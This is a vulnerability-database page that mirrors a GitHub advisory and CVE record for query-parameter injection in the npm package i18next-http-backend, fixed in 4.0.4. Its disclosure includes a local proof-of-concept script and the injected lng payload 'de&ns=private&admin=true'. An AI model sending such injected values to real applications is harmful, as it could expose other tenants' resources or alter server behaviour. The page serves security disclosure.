Vulnerability-Lookup

GHSA-3CMX-XJWW-583X

Vulnerability from github – Published: 2026-10-28 21:10 – Updated: 2026-10-28 21:10

Summary

i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string

Details

Summary

The URL-segment check added for GHSA-q89c-q3h5-w34g blocks ?, #, %, :, / and @ in lng, but not & or =, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form /locales/resources.json?lng=de+en&ns=ns1+ns2. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from ?lng=, a cookie or Accept-Language. This is the "query-string injection" impact described in GHSA-q89c; only the ? form was closed.

Server side (Express + i18next-http-middleware, default options), GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue makes the application request …?lng=de&ns=private&admin=true&ns=common from its own translations API.

Details

The checks are in lib/utils.js. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects:

empty or >128-character values and prototype keys;
.. and \;
/[?#%:\s]/;
control characters.

isSafeLangUrlSegment (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only / and @. Neither function rejects & or =.

if (/[?#%:\s]/.test(v)) return false   // utils.js L40, no & or =

interpolateUrl then splits on +, checks each segment, and joins the raw segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174).

Call sites:

_readAny builds the load URL with interpolateUrl(resolvedLoadPath, { lng: languages.join('+'), ns: … }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64
create builds the missing-key URL with interpolateUrl(addPath, { lng, ns }): https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133

The README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read ?lng=, cookies, localStorage and request headers. i18next-http-middleware's LanguageDetector does the same on the server.

Where ? is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, & and = are the separators, so they must be rejected or encoded too.

Suggested fix. Reject & and = (and ;) in both lng and ns; no BCP-47 language code or usable i18next namespace contains them. Alternatively, encodeURIComponent each +-joined segment when the placeholder appears after ? in the template.

Proof of concept

How to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):

mkdir i18next-poc && cd i18next-poc
npm init -y
npm i i18next@26.5.1 i18next-http-backend@4.0.3 i18next-http-middleware@3.9.9 express@5.3.0
Save the script below as poc.mjs
node poc.mjs

// i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts
// {{lng}} in the query string (README multiload shape) gets extra parameters.
// Everything runs on 127.0.0.1: a fake translations API and an Express app.
import http from 'node:http'
import express from 'express'
import i18next from 'i18next'
import Backend from 'i18next-http-backend'
import middleware from 'i18next-http-middleware'

const seen = []
const api = http.createServer((req, res) => {
  seen.push(req.url)
  res.setHeader('content-type', 'application/json')
  res.end('{"hello":"hi"}')
})
await new Promise((r) => api.listen(0, '127.0.0.1', r))
const loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}`
const wait = () => new Promise((r) => setTimeout(r, 200))

// 1) Direct: lng values passed to i18next as-is.
console.log('[1] direct init')
for (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) {
  seen.length = 0
  await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } })
  console.log(`    lng=${JSON.stringify(lng).padEnd(28)} -> API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}`)
}

// 2) Server side: language taken from the request by i18next-http-middleware (default options).
console.log('[2] Express + i18next-http-middleware LanguageDetector')
const i18n = i18next.createInstance()
await i18n.use(Backend).use(middleware.LanguageDetector)
  .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } })
const app = express()
app.use(middleware.handle(i18n))
app.get('/', (req, res) => res.send(req.t('hello')))
const web = app.listen(0, '127.0.0.1')
await new Promise((r) => web.on('listening', r))
await wait()
for (const q of ['de', 'de%26ns%3Dprivate%26admin%3Dtrue']) {
  seen.length = 0
  await fetch(`http://127.0.0.1:${web.address().port}/?lng=${q}`).then((r) => r.text())
  await wait()
  console.log(`    GET /?lng=${q.padEnd(32)} -> API got: ${seen.join(' ')}`)
}
web.close()
api.close()

Output (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):

[1] direct init
    lng="de"                         -> API got: /locales/resources.json?lng=de&ns=common
    lng="de?admin=true"              -> API got: (no request, refused)
    lng="de&ns=private&admin=true"   -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common
[2] Express + i18next-http-middleware LanguageDetector
    GET /?lng=de                               -> API got: /locales/resources.json?lng=de&ns=common
    GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common

The ? control is refused by the existing fix. The & form passes and reaches the API with injected ns=private&admin=true.

Impact

This is injection of query parameters (CWE-74, HTTP parameter pollution) into the backend's outgoing requests:

Server side (SSR, Node, i18next-http-middleware): an unauthenticated visitor can make the application server send requests to its internal or partner translations API with parameters of the visitor's choosing. The visitor can override existing ones (ns, version, tenant, feature flags, cache keys) using the server's network position and credentials. Depending on how that API branches on its parameters, this can expose other namespaces or tenants' resources, or change server-side behaviour.
Browser side: a crafted link (?lng=…) does the same to the victim's same-origin request.

Applications using the default path template /locales/{{lng}}/{{ns}}.json, or a supportedLngs allowlist, are not affected.

credit to Adrian Korwel.

Maintainer note

Confirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e).

Preconditions. The loadPath / addPath template must put {{lng}} or {{ns}} in the query string (for example /locales/resources.json?lng={{lng}}&ns={{ns}}, the multiload shape), and the attacker must control the language or namespace value. The default /locales/{{lng}}/{{ns}}.json and other path-only templates are not affected, nor are applications that restrict languages with supportedLngs. The impact depends on what the translations API does with the injected parameters.

Fix. &, = and ; are now rejected in both lng and ns values, in addition to the ?, #, % and : rejected before. No language code or usable namespace name contains them. +-joined multiload values such as de+en keep working, verified end to end with i18next-multiload-backend-adapter.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.4.

Related. i18next-locize-backend had the same gap with custom query-shaped templates (its default paths are not affected). It is fixed in i18next-locize-backend 10.0.4.

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "i18next-http-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-118258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:10:08Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n\nThe URL-segment check added for GHSA-q89c-q3h5-w34g blocks `?`, `#`, `%`, `:`, `/` and `@` in `lng`, but not `\u0026` or `=`, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form `/locales/resources.json?lng=de+en\u0026ns=ns1+ns2`. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from `?lng=`, a cookie or `Accept-Language`. This is the \"query-string injection\" impact described in GHSA-q89c; only the `?` form was closed.\n\nServer side (Express + i18next-http-middleware, default options), `GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue` makes the application request `\u2026?lng=de\u0026ns=private\u0026admin=true\u0026ns=common` from its own translations API.\n\n### Details\n\nThe checks are in `lib/utils.js`. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects:\n\n- empty or \u003e128-character values and prototype keys;\n- `..` and `\\`;\n- `/[?#%:\\s]/`;\n- control characters.\n\n`isSafeLangUrlSegment` (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only `/` and `@`. **Neither function rejects `\u0026` or `=`.**\n\n```js\nif (/[?#%:\\s]/.test(v)) return false   // utils.js L40, no \u0026 or =\n```\n\n`interpolateUrl` then splits on `+`, checks each segment, and joins the **raw** segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174).\n\nCall sites:\n\n- `_readAny` builds the load URL with `interpolateUrl(resolvedLoadPath, { lng: languages.join(\u0027+\u0027), ns: \u2026 })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64\n- `create` builds the missing-key URL with `interpolateUrl(addPath, { lng, ns })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133\n\nThe README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read `?lng=`, cookies, `localStorage` and request headers. i18next-http-middleware\u0027s `LanguageDetector` does the same on the server.\n\nWhere `?` is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, `\u0026` and `=` are the separators, so they must be rejected or encoded too.\n\n**Suggested fix.** Reject `\u0026` and `=` (and `;`) in both `lng` and `ns`; no BCP-47 language code or usable i18next namespace contains them. Alternatively, `encodeURIComponent` each `+`-joined segment when the placeholder appears after `?` in the template.\n\n### Proof of concept\n\nHow to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):\n\n1. `mkdir i18next-poc \u0026\u0026 cd i18next-poc`\n2. `npm init -y`\n3. `npm i i18next@26.5.1 i18next-http-backend@4.0.3 i18next-http-middleware@3.9.9 express@5.3.0`\n4. Save the script below as `poc.mjs`\n5. `node poc.mjs`\n\n```js\n// i18next-http-backend 4.0.3: \u0027\u0026\u0027 and \u0027=\u0027 in lng pass isSafeLangUrlSegment, so a loadPath that puts\n// {{lng}} in the query string (README multiload shape) gets extra parameters.\n// Everything runs on 127.0.0.1: a fake translations API and an Express app.\nimport http from \u0027node:http\u0027\nimport express from \u0027express\u0027\nimport i18next from \u0027i18next\u0027\nimport Backend from \u0027i18next-http-backend\u0027\nimport middleware from \u0027i18next-http-middleware\u0027\n\nconst seen = []\nconst api = http.createServer((req, res) =\u003e {\n  seen.push(req.url)\n  res.setHeader(\u0027content-type\u0027, \u0027application/json\u0027)\n  res.end(\u0027{\"hello\":\"hi\"}\u0027)\n})\nawait new Promise((r) =\u003e api.listen(0, \u0027127.0.0.1\u0027, r))\nconst loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}\u0026ns={{ns}}`\nconst wait = () =\u003e new Promise((r) =\u003e setTimeout(r, 200))\n\n// 1) Direct: lng values passed to i18next as-is.\nconsole.log(\u0027[1] direct init\u0027)\nfor (const lng of [\u0027de\u0027, \u0027de?admin=true\u0027, \u0027de\u0026ns=private\u0026admin=true\u0027]) {\n  seen.length = 0\n  await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: [\u0027common\u0027], backend: { loadPath } })\n  console.log(`    lng=${JSON.stringify(lng).padEnd(28)} -\u003e API got: ${seen.length ? seen.join(\u0027 \u0027) : \u0027(no request, refused)\u0027}`)\n}\n\n// 2) Server side: language taken from the request by i18next-http-middleware (default options).\nconsole.log(\u0027[2] Express + i18next-http-middleware LanguageDetector\u0027)\nconst i18n = i18next.createInstance()\nawait i18n.use(Backend).use(middleware.LanguageDetector)\n  .init({ fallbackLng: \u0027en\u0027, preload: [\u0027en\u0027], ns: [\u0027common\u0027], defaultNS: \u0027common\u0027, backend: { loadPath } })\nconst app = express()\napp.use(middleware.handle(i18n))\napp.get(\u0027/\u0027, (req, res) =\u003e res.send(req.t(\u0027hello\u0027)))\nconst web = app.listen(0, \u0027127.0.0.1\u0027)\nawait new Promise((r) =\u003e web.on(\u0027listening\u0027, r))\nawait wait()\nfor (const q of [\u0027de\u0027, \u0027de%26ns%3Dprivate%26admin%3Dtrue\u0027]) {\n  seen.length = 0\n  await fetch(`http://127.0.0.1:${web.address().port}/?lng=${q}`).then((r) =\u003e r.text())\n  await wait()\n  console.log(`    GET /?lng=${q.padEnd(32)} -\u003e API got: ${seen.join(\u0027 \u0027)}`)\n}\nweb.close()\napi.close()\n```\n\nOutput (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):\n\n```\n[1] direct init\n    lng=\"de\"                         -\u003e API got: /locales/resources.json?lng=de\u0026ns=common\n    lng=\"de?admin=true\"              -\u003e API got: (no request, refused)\n    lng=\"de\u0026ns=private\u0026admin=true\"   -\u003e API got: /locales/resources.json?lng=de\u0026ns=private\u0026admin=true\u0026ns=common\n[2] Express + i18next-http-middleware LanguageDetector\n    GET /?lng=de                               -\u003e API got: /locales/resources.json?lng=de\u0026ns=common\n    GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -\u003e API got: /locales/resources.json?lng=de\u0026ns=private\u0026admin=true\u0026ns=common\n```\n\nThe `?` control is refused by the existing fix. The `\u0026` form passes and reaches the API with injected `ns=private\u0026admin=true`.\n\n### Impact\n\nThis is injection of query parameters (CWE-74, HTTP parameter pollution) into the backend\u0027s outgoing requests:\n\n- **Server side** (SSR, Node, i18next-http-middleware): an unauthenticated visitor can make the application server send requests to its internal or partner translations API with parameters of the visitor\u0027s choosing. The visitor can override existing ones (`ns`, version, tenant, feature flags, cache keys) using the server\u0027s network position and credentials. Depending on how that API branches on its parameters, this can expose other namespaces or tenants\u0027 resources, or change server-side behaviour.\n- **Browser side**: a crafted link (`?lng=\u2026`) does the same to the victim\u0027s same-origin request.\n\nApplications using the default path template `/locales/{{lng}}/{{ns}}.json`, or a `supportedLngs` allowlist, are not affected.\n\ncredit to Adrian Korwel.\n\n## Maintainer note\n\nConfirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e).\n\n**Preconditions.** The `loadPath` / `addPath` template must put `{{lng}}` or `{{ns}}` in the query string (for example `/locales/resources.json?lng={{lng}}\u0026ns={{ns}}`, the multiload shape), and the attacker must control the language or namespace value. The default `/locales/{{lng}}/{{ns}}.json` and other path-only templates are not affected, nor are applications that restrict languages with `supportedLngs`. The impact depends on what the translations API does with the injected parameters.\n\n**Fix.** `\u0026`, `=` and `;` are now rejected in both `lng` and `ns` values, in addition to the `?`, `#`, `%` and `:` rejected before. No language code or usable namespace name contains them. `+`-joined multiload values such as `de+en` keep working, verified end to end with i18next-multiload-backend-adapter.\n\n**Affected range.** Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is `\u003c 4.0.4`.\n\n**Related.** i18next-locize-backend had the same gap with custom query-shaped templates (its default paths are not affected). It is fixed in i18next-locize-backend 10.0.4.",
  "id": "GHSA-3cmx-xjww-583x",
  "modified": "2026-10-28T21:10:08Z",
  "published": "2026-10-28T21:10:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-3cmx-xjww-583x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/i18next/i18next-http-backend/commit/b0eef9efd425055c554787cef7f878de33bbf510"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/i18next/i18next-http-backend"
    },
    {
      "type": "WEB",
      "url": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "i18next-http-backend: Query-parameter injection through \u0026 and = in lng when loadPath/addPath puts {{lng}} in the query string"
}

CVE-2026-118258 (GCVE-0-2026-118258)

Vulnerability from cvelistv5 – Published: 2026-10-28 18:33 – Updated: 2026-10-28 18:33

Title

i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string

Summary

i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.4, interpolateUrl inserts unencoded language and namespace values into loadPath or addPath templates without rejecting ampersand (&), equals (=), or semicolon (;) query separators. When a template places lng or ns in the query string and an attacker controls that value, the attacker can add or override parameters on browser or server-side translation requests, potentially exposing other namespaces or tenants or changing backend behavior through the application's network position and credentials. This vulnerability is the result of an incomplete fix for CVE-2026-41691. This issue is fixed in version 4.0.4.

Severity

3.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7926 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/i18next/i18next-http-backend/s…	x_refsource_CONFIRM
https://github.com/i18next/i18next-http-backend/c…	x_refsource_MISC
https://github.com/i18next/i18next-http-backend/r…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
i18next	i18next-http-backend	Affected: < 4.0.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "i18next-http-backend",
          "vendor": "i18next",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.0.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.4, interpolateUrl inserts unencoded language and namespace values into loadPath or addPath templates without rejecting ampersand (\u0026), equals (=), or semicolon (;) query separators. When a template places lng or ns in the query string and an attacker controls that value, the attacker can add or override parameters on browser or server-side translation requests, potentially exposing other namespaces or tenants or changing backend behavior through the application\u0027s network position and credentials. This vulnerability is the result of an incomplete fix for CVE-2026-41691. This issue is fixed in version 4.0.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 3.7,
            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-74",
              "description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-28T18:33:30.672Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-3cmx-xjww-583x",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-3cmx-xjww-583x"
        },
        {
          "name": "https://github.com/i18next/i18next-http-backend/commit/b0eef9efd425055c554787cef7f878de33bbf510",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/i18next/i18next-http-backend/commit/b0eef9efd425055c554787cef7f878de33bbf510"
        },
        {
          "name": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.4"
        }
      ],
      "source": {
        "advisory": "GHSA-3cmx-xjww-583x",
        "discovery": "UNKNOWN"
      },
      "title": "i18next-http-backend: Query-parameter injection through \u0026 and = in lng when loadPath/addPath puts {{lng}} in the query string"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-118258",
    "datePublished": "2026-10-28T18:33:30.672Z",
    "dateReserved": "2026-10-27T20:13:55.314Z",
    "dateUpdated": "2026-10-28T18:33:30.672Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-3CMX-XJWW-583X

Summary

Details

Proof of concept

Impact

Maintainer note

CVE-2026-118258 (GCVE-0-2026-118258)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour